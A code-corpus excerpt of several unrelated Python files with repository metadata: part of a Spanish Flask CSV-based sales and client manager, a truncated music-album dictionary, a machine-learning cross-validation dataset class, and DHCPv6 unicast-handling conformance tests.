if rowvp["ID"] == ridVenta: rproducto = rowvp['PRODUCTO'] rcliente = rowvp['CLIENTE'] rcantidad = rowvp['CANTIDAD'] rprecio = rowvp['PRECIO'] rtotal = rowvp['TOTAL'] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, delimiter=";"): if rowvp["ID"] == rproducto: rproductoNombre = rowvp['NOMBRE'] result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "TIPO", "CANTIDAD", "PRECIO_COMPRA", "PRECIO_VENTA", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() for rowacp in csv.DictReader(inp, delimiter=";"): if rowacp["ID"] == rproducto: #Cambiamos los datos del elemto seleccionado(id) a los nuevos datos rowacp['CANTIDAD'] = int(rowacp['CANTIDAD']) - int(rcantidad) rowacp = {'ID': rowacp['ID'], 'NOMBRE': rowacp['NOMBRE'], 'TIPO': rowacp['TIPO'], 'CANTIDAD': rowacp['CANTIDAD'], 'PRECIO_COMPRA': rowacp['PRECIO_COMPRA'], 'PRECIO_VENTA': rowacp['PRECIO_VENTA'], 'CONTROLES': rowacp['CONTROLES']} #Añadimos esos datos al rowacp writer.writerow(rowacp) #Añadimos los datos el archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') with open(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "CLIENTE", "CANTIDAD", "PRECIO", "TOTAL", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, delimiter=";"): if rowbp["ID"] != ridVenta: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaVentas.csv') return json.dumps(1); @app.route('/cliente.html') def cliente(): if 'loginC' in session: if session['loginC']: valido = False with open(os.getcwd()+'/Python3_SGE/datos/listaDepartamentos.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: #Comprobamos si el usuario logueado tiene permisos para usar este modulo if row[0] == "3": for i in row[2]: if i == session['idUser']: valido = True if valido: return render_template('cliente.html') else: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') @app.route('/cargarClientes', methods=['POST']) def cargarClientes(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) index = 0 #Cantidad de elementos que tiene el archivo listaCompra.csv borrarP = 2 #Posicion en la que borrar el id del proveedor borrarI = 1 #Posicion en la que borrar el id del invenario for rowlc in readerlc: datos = [] for i in rowlc: datos.append(i) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/newCliente', methods=['POST']) def newCliente(): result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "DIRECCION", "TELEFONO", "CONTROLES"), quoting=csv.QUOTE_MINIMAL) writer.writeheader() readercp = csv.DictReader(inp, dialect='unix', delimiter=";") #Leer archivo viejo for rowcp in readercp: result.append(rowcp) #Guardamos los datos del archivo viejo en una lista ID = 0 try: ID = int((int(rowcp['ID'][-1]) + 1)) #Recogemos el id del ultimo elemento del archivo y le sumamos 1 except NameError: ID = 1 #Si no hay ningun elemento en el archivo ponemos el id a 1 nombre = request.form['nombreCliente'] direccion = request.form['calleCliente'] telefono = request.form['telefonoCliente'] controles = '<button onclick="modificar({})" class="btn btn btn-outline-warning" type="button">Modificar</button><button onclick="borrar({})" class="btn btn btn-outline-danger mt-2" type="button">Borrar</button>'.format(ID, ID) data = {'ID': ID, 'NOMBRE': nombre, "DIRECCION": direccion, "TELEFONO": telefono, "CONTROLES": controles} result.append(data) #Añadimos el nuevo elemento a la lista writer.writerows(result) #Añadimos los datos de la lista en el nuevo archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaClientes.csv') return json.dumps(1); @app.route('/borrarCliente', methods=['POST']) def borrarCliente(): idCliente = request.form['idCliente'] with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "DIRECCION", "TELEFONO", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowbp["ID"] != idCliente: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaClientes.csv') #Cambiamos el nombre del nuevo archivo al nombre del anterior return json.dumps(1); @app.route('/verCliente', methods=['POST']) def verCliente(): idCliente = request.form['idCliente'] datosP = [] with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowvp["ID"] == idCliente: #Añadimos los datos del elemento seleccionado(id) a la lista datosP.append(rowvp['ID']) datosP.append(rowvp['NOMBRE']) datosP.append(rowvp['DIRECCION']) datosP.append(rowvp['TELEFONO']) return json.dumps({'datos':datosP}) #Devolvemos los datos en forma json @app.route('/actualizarCliente', methods=['POST']) def actualizarCliente(): with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "DIRECCION", "TELEFONO", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() for rowacp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowacp["ID"] == request.form['idCliente']: #Cambiamos los datos del elemto seleccionado(id) a los nuevos datos rowacp['NOMBRE'] = request.form['nCliente'] rowacp['DIRECCION'] = request.form['cCliente'] rowacp['TELEFONO'] = request.form['tCliente'] rowacp = {'ID': rowacp['ID'], 'NOMBRE': rowacp['NOMBRE'], 'DIRECCION': rowacp['DIRECCION'], 'TELEFONO': rowacp['TELEFONO'], 'CONTROLES': rowacp['CONTROLES']} #Añadimos esos datos al rowacp writer.writerow(rowacp) #Añadimos los datos el archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaClientes.csv') return json.dumps(1); #Inicio de la aplicación. if __name__ == "__main__": app.run()
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7
764ffb54ab7e04bdd068c3909e0d4025b5bceaf7
3,048
py
Python
Nikki_L/DataStructure1-iTunes.py
ArtezGDA/text-IO
b9ed7f2433c0eda08fb45d125ea22a5fdeaef667
[ "MIT" ]
null
null
null
Nikki_L/DataStructure1-iTunes.py
ArtezGDA/text-IO
b9ed7f2433c0eda08fb45d125ea22a5fdeaef667
[ "MIT" ]
null
null
null
Nikki_L/DataStructure1-iTunes.py
ArtezGDA/text-IO
b9ed7f2433c0eda08fb45d125ea22a5fdeaef667
[ "MIT" ]
null
null
null
Muziek = { 'albums': [ { 'title': "Purpose", 'artist': "Justin Bieber", 'tracks': [ { 'track':"1-8", 'titel': "Mark my word", 'airdate': "2015", 'duur':"4:36" }, { 'track':"2-8", 'titel': "Ill Show You", 'airdate': "2015", 'duur':"4:21" }, { 'track':"3-8", 'titel': "What Do You Mean", 'airdate': "2015", 'duur':"3:58" }, { 'track':"4-8", 'titel': "Sorry", 'airdate': "2015", 'duur':"5:40" }, { 'track':"5-8", 'titel': "Love Yourself", 'airdate': "2015", 'duur':"3:50" }, { 'track':"6-8", 'titel': "Company", 'airdate': "2015", 'duur':"4:30" }, { 'track':"7-8", 'titel': "No Pressure", 'airdate': "2015", 'duur':"4:35" }, { 'track':"8-8", 'titel': "No Sense", 'airdate': "2015", 'duur':"3:58" } ] }, { 'title': "Jurnals", 'artist': "Justin Bieber", 'tracks': [ { 'track':"1-6", 'titel': "Heartbreaker", 'airdate': "2014", 'duur':"3:05" }, { 'track':"2-6", 'titel': "All That Matters", 'airdate': "2014", 'duur':"2:46" }, { 'track':"3-6", 'titel': "Hold Tight", 'airdate': "2014", 'duur':"2:00" }, { 'track':"4-6", 'titel': "Recovery", 'airdate': "2014", 'duur':"2:30" }, { 'track':"5-6", 'titel': "Bad Day", 'airdate': "2014", 'duur':"2:43" }, { 'track':"6-6", 'titel': "All Bad", 'airdate': "2014", 'duur':"4:20" } ] }, { }
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7
769580a0c6b3c6598252a47db993516fdf0775ed
10,723
py
Python
UI/Lib/mydataset.py
AIandSocialGoodLab/PAWS
0a386ab99b98f9aba0653c16c6cfd867a47042a4
[ "MIT" ]
6
2018-10-04T08:40:25.000Z
2020-09-07T21:42:10.000Z
UI/Lib/mydataset.py
AIandSocialGoodLab/PAWS
0a386ab99b98f9aba0653c16c6cfd867a47042a4
[ "MIT" ]
null
null
null
UI/Lib/mydataset.py
AIandSocialGoodLab/PAWS
0a386ab99b98f9aba0653c16c6cfd867a47042a4
[ "MIT" ]
5
2018-06-17T18:08:32.000Z
2019-10-03T01:41:52.000Z
import numpy as np class DataSet(object): def __init__(self, positive, negative, fold_num): '''Prepare data. Several folds for pos and neg.''' self.positive = np.array(positive) self.negative = np.array(negative) self.fold_num = fold_num index = np.random.permutation(len(self.positive)) self.positive = self.positive[index] index = np.random.permutation(len(self.negative)) self.negative = self.negative[index] self.data_folds = [] self.label_folds = [] fold_pos_num = int(len(self.positive) / int(fold_num)) fold_neg_num = int(len(self.negative) / int(fold_num)) for i in range(fold_num): if i == fold_num - 1: pos = self.positive[i * fold_pos_num:] neg = self.negative[i * fold_neg_num:] data = np.concatenate((pos, neg), axis=0) label = np.array([1.] * len(pos) + [0.] * len(neg)) index = np.random.permutation(len(data)) self.data_folds.append(data[index]) self.label_folds.append(label[index]) else: pos = self.positive[i * fold_pos_num:(i + 1) * fold_pos_num] neg = self.negative[i * fold_neg_num:(i + 1) * fold_neg_num] data = np.concatenate((pos, neg), axis=0) label = np.array([1.] * len(pos) + [0.] * len(neg)) index = np.random.permutation(len(data)) self.data_folds.append(data[index]) self.label_folds.append(label[index]) def update_negative(self, negative): self.negative = np.array(negative) index = np.random.permutation(len(self.negative)) self.negative = self.negative[index] fold_num = self.fold_num self.data_folds = [] self.label_folds = [] fold_pos_num = int(len(self.positive) / int(fold_num)) fold_neg_num = int(len(self.negative) / int(fold_num)) for i in range(fold_num): if i == fold_num - 1: pos = self.positive[i * fold_pos_num:] neg = self.negative[i * fold_neg_num:] data = np.concatenate((pos, neg), axis=0) label = np.array([1.] * len(pos) + [0.] * len(neg)) index = np.random.permutation(len(data)) self.data_folds.append(data[index]) self.label_folds.append(label[index]) else: pos = self.positive[i * fold_pos_num:(i + 1) * fold_pos_num] neg = self.negative[i * fold_neg_num:(i + 1) * fold_neg_num] data = np.concatenate((pos, neg), axis=0) label = np.array([1.] * len(pos) + [0.] * len(neg)) index = np.random.permutation(len(data)) self.data_folds.append(data[index]) self.label_folds.append(label[index]) def get_train_test(self, fold_id): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) test_data = data_folds_copy.pop(fold_id) test_label = label_folds_copy.pop(fold_id) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) return train_data, train_label, test_data, test_label def get_train_test_upsample(self, fold_id, num): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) test_data = data_folds_copy.pop(fold_id) test_label = label_folds_copy.pop(fold_id) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) train_data_up = [] train_label_up = [] for data, label in zip(train_data, train_label): if label: train_data_up += [data] * num train_label_up += [label] * num else: train_data_up.append(data) train_label_up.append(label) train_data_up = np.array(train_data_up) train_label_up = np.array(train_label_up) index = np.random.permutation(len(train_label_up)) train_data_up = train_data_up[index] train_label_up = train_label_up[index] return train_data_up, train_label_up, test_data, test_label def get_train_all(self): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) return train_data, train_label # used by make_data_pandas.py def get_train_all_up(self, num): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) train_data_up = [] train_label_up = [] for data, label in zip(train_data, train_label): if label: train_data_up += [data] * num train_label_up += [label] * num else: train_data_up.append(data) train_label_up.append(label) train_data_up = np.array(train_data_up) train_label_up = np.array(train_label_up) index = np.random.permutation(len(train_label_up)) train_data_up = train_data_up[index] train_label_up = train_label_up[index] return train_data_up, train_label_up def get_train_neg_traintest_pos(self, fold_id, num): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) test_data1 = data_folds_copy.pop(fold_id) test_label1 = label_folds_copy.pop(fold_id) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) train_data_up = [] train_label_up = [] test_data = [] test_label = [] for data, label in zip(train_data, train_label): if label: train_data_up += [data] * num train_label_up += [label] * num else: train_data_up.append(data) train_label_up.append(label) for data, label in zip(test_data1, test_label1): if label: test_data.append(data) test_label.append(label) else: train_data_up.append(data) train_label_up.append(label) train_data_up = np.array(train_data_up) train_label_up = np.array(train_label_up) index = np.random.permutation(len(train_label_up)) train_data_up = train_data_up[index] train_label_up = train_label_up[index] return train_data_up, train_label_up, test_data, test_label def get_train_neg_traintest_pos_smote(self, fold_id, num): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) test_data1 = data_folds_copy.pop(fold_id) test_label1 = label_folds_copy.pop(fold_id) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) train_data_up = [] train_label_up = [] test_data = [] test_label = [] train_data_pos = [] train_label_pos = [] for data, label in zip(train_data, train_label): if label: train_data_pos += [data] train_label_pos += [label] else: train_data_up.append(data) train_label_up.append(label) for data, label in zip(test_data1, test_label1): if label: test_data.append(data) test_label.append(label) else: train_data_up.append(data) train_label_up.append(label) train_data_pos = np.array(train_data_pos) train_label_pos = np.array(train_label_pos) idx_sort = np.argsort(np.sum(np.square( np.expand_dims(train_data_pos, 2) - np.tile(train_data_pos, (train_data_pos.shape[0], 1)).reshape(train_data_pos.shape + (train_data_pos.shape[0],))), axis=1), axis=1) for j, (data, label) in enumerate(zip(train_data_pos, train_label_pos)): for i in range(num): a = np.random.uniform(0, 1) idx = np.random.randint(len(train_data_pos)) train_data_up += [data * a + (1 - a) * train_data_pos[idx_sort[j, idx]]] train_label_up += [label] train_data_up = np.array(train_data_up) train_label_up = np.array(train_label_up) index = np.random.permutation(len(train_label_up)) train_data_up = train_data_up[index] train_label_up = train_label_up[index] return train_data_up, train_label_up, test_data, test_label def get_train_all_up_aug(self, UdataPos, num): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) train_data_up = [] train_label_up = [] for data, label in zip(train_data, train_label): if label: train_data_up += [data] * num train_label_up += [label] * num label1 = label else: train_data_up.append(data) train_label_up.append(label) for data in UdataPos: train_data_up += [data] train_label_up += [label1] train_data_up = np.array(train_data_up) train_label_up = np.array(train_label_up) index = np.random.permutation(len(train_label_up)) train_data_up = train_data_up[index] train_label_up = train_label_up[index] return train_data_up, train_label_up # Used by dt method def get_train_neg_traintest_pos_aug(self, cluster_ids, cluster_ids50, index, UnknownData, UnknownDataID, fold_id, num): data_folds_copy = list(self.data_folds) label_folds_copy = list(self.label_folds) test_data1 = data_folds_copy.pop(fold_id) test_label1 = label_folds_copy.pop(fold_id) train_data = np.concatenate(data_folds_copy, axis=0) train_label = np.concatenate(label_folds_copy, axis=0) UdataPos = [] for i, id in enumerate(UnknownDataID.reshape(-1)): if (id in cluster_ids[8] or id in cluster_ids[7] or id in cluster_ids[6]) and (id in cluster_ids50[7] or id in cluster_ids50[6]): UdataPos.append(UnknownData[i:i + 1, :]) UdataPos = np.concatenate(UdataPos, 0) print(UdataPos.shape) train_data_up = [] train_label_up = [] test_data = [] test_label = [] for data, label in zip(train_data, train_label): if label: train_data_up += [data] * num train_label_up += [label] * num label1 = label else: train_data_up.append(data) train_label_up.append(label) for data, label in zip(test_data1, test_label1): if label: test_data.append(data) test_label.append(label) else: train_data_up.append(data) train_label_up.append(label) for data in UdataPos: train_data_up += [data] train_label_up += [label1] train_data_up = np.array(train_data_up) train_label_up = np.array(train_label_up) index = np.random.permutation(len(train_label_up)) train_data_up = train_data_up[index] train_label_up = train_label_up[index] return train_data_up, train_label_up, test_data, test_label
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Python
tests/dhcpv6/address_validation/test_v6_address.py
shawnmullaney/forge
aaaef0a0645f73d24666aab6a400f3604e753aac
[ "0BSD" ]
null
null
null
tests/dhcpv6/address_validation/test_v6_address.py
shawnmullaney/forge
aaaef0a0645f73d24666aab6a400f3604e753aac
[ "0BSD" ]
null
null
null
tests/dhcpv6/address_validation/test_v6_address.py
shawnmullaney/forge
aaaef0a0645f73d24666aab6a400f3604e753aac
[ "0BSD" ]
null
null
null
"""Standard DHCPv6 address validation""" # pylint: disable=invalid-name,line-too-long import pytest import references import misc import srv_control import srv_msg @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_global_solicit(): # Server MUST discard any Solicit it receives with # a unicast address destination # Message details Client Server # GLOBAL_UNICAST dest SOLICIT --> # X ADVERTISE # correct message SOLICIT --> # <-- ADVERTISE misc.test_setup() srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') # Server is configured with srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.unicast_addres('GLOBAL', None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_global_confirm(): # Server MUST discard any Confirm it receives with # a unicast address destination # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # GLOBAL_UNICAST dest CONFIRM --> # X REPLY # correct message CONFIRM --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id misc.test_setup() # Server is configured with 3000::/64 subnet with 3000::1-3000::ff pool. srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.client_save_option('IA_NA') srv_msg.client_add_saved_option('DONT ') srv_msg.unicast_addres('GLOBAL', None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('CONFIRM') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('CONFIRM') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '13') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_global_rebind(): # Server MUST discard any Rebind it receives with # a unicast address destination. # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # GLOBAL_UNICAST dest REBIND --> # X REPLY # correct message REBIND --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # IA-NA misc.test_setup() srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.unicast_addres('GLOBAL', None) srv_msg.client_save_option('IA_NA') srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REBIND') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REBIND') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '3') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast def test_v6_basic_message_unicast_global_inforequest(): # Server MUST discard any Information-Request it receives with # a unicast address destination. # Message details Client Server # GLOBAL_UNICAST dest INFOREQUEST --> # X REPLY # correct message INFOREQUEST --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id misc.test_setup() srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') srv_control.config_srv_opt('preference', '123') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.unicast_addres('GLOBAL', None) # message wont contain client-id option srv_msg.client_send_msg('INFOREQUEST') misc.pass_criteria() srv_msg.send_dont_wait_for_message() misc.test_procedure() # message wont contain client-id option srv_msg.client_requests_option('7') srv_msg.client_send_msg('INFOREQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', 'NOT ', '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '7') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast @pytest.mark.status_code @pytest.mark.disabled def test_v6_basic_message_unicast_global_request(): # Server MUST discard any Request message it receives with # a unicast address destination, and send back REPLY with # UseMulticast status code. # In this test if it fails with 'NoAddrAvail' at the end # it means that server has send back REPLY with UseMulticast # status code but also assigned address. # Message details Client Server # SOLICIT --> # <-- ADVERTISE # GLOBAL_UNICAST dest REQUEST --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status code option with UseMulticast # # SOLICIT --> # <-- ADVERTISE # correct message REQUEST --> # <-- REPLY # REPLY MUST include option: # client-id # server-id # IA_NA # IA_Address with address 3000::1. misc.test_setup() srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') misc.test_procedure() srv_msg.client_save_option('server-id') srv_msg.client_save_option('IA_NA') srv_msg.client_add_saved_option('DONT ') srv_msg.unicast_addres('GLOBAL', None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '13') srv_msg.response_check_option_content('Response', '13', None, 'statuscode', '5') misc.test_procedure() srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') srv_msg.response_check_suboption_content('Response', '5', '3', None, 'address', '3000::1') references.references_check('RFC3315') @pytest.mark.basic @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.unicast @pytest.mark.status_code @pytest.mark.disabled def test_v6_basic_message_unicast_global_renew(): # Server MUST discard any RENEW message it receives with # a unicast address destination, and send back REPLY with # UseMulticast status code. # Message details Client Server # SOLICIT --> # <-- ADVERTISE # REQUEST --> # <-- REPLY # GLOBAL UNICAST dest RENEW --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # status code with UseMulticast # correct message RENEW --> # <-- REPLY # Pass Criteria: # REPLY MUST include option: # client-id # server-id # IA-NA # IA-Address misc.test_setup() srv_control.config_srv_subnet_with_iface('$(SERVER_IFACE)', '$(SRV_IPV6_ADDR_GLOBAL)', '3000::/64', '3000::1-3000::ff') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_requests_option('7') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.client_copy_option('IA_NA') srv_msg.client_copy_option('server-id') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') misc.test_procedure() srv_msg.unicast_addres('GLOBAL', None) srv_msg.client_save_option('IA_NA') srv_msg.client_save_option('server-id') srv_msg.client_add_saved_option('DONT ') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '13') srv_msg.response_check_option_content('Response', '13', None, 'statuscode', '5') misc.test_procedure() srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '1') srv_msg.response_check_include_option('Response', None, '2') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') references.references_check('RFC3315') 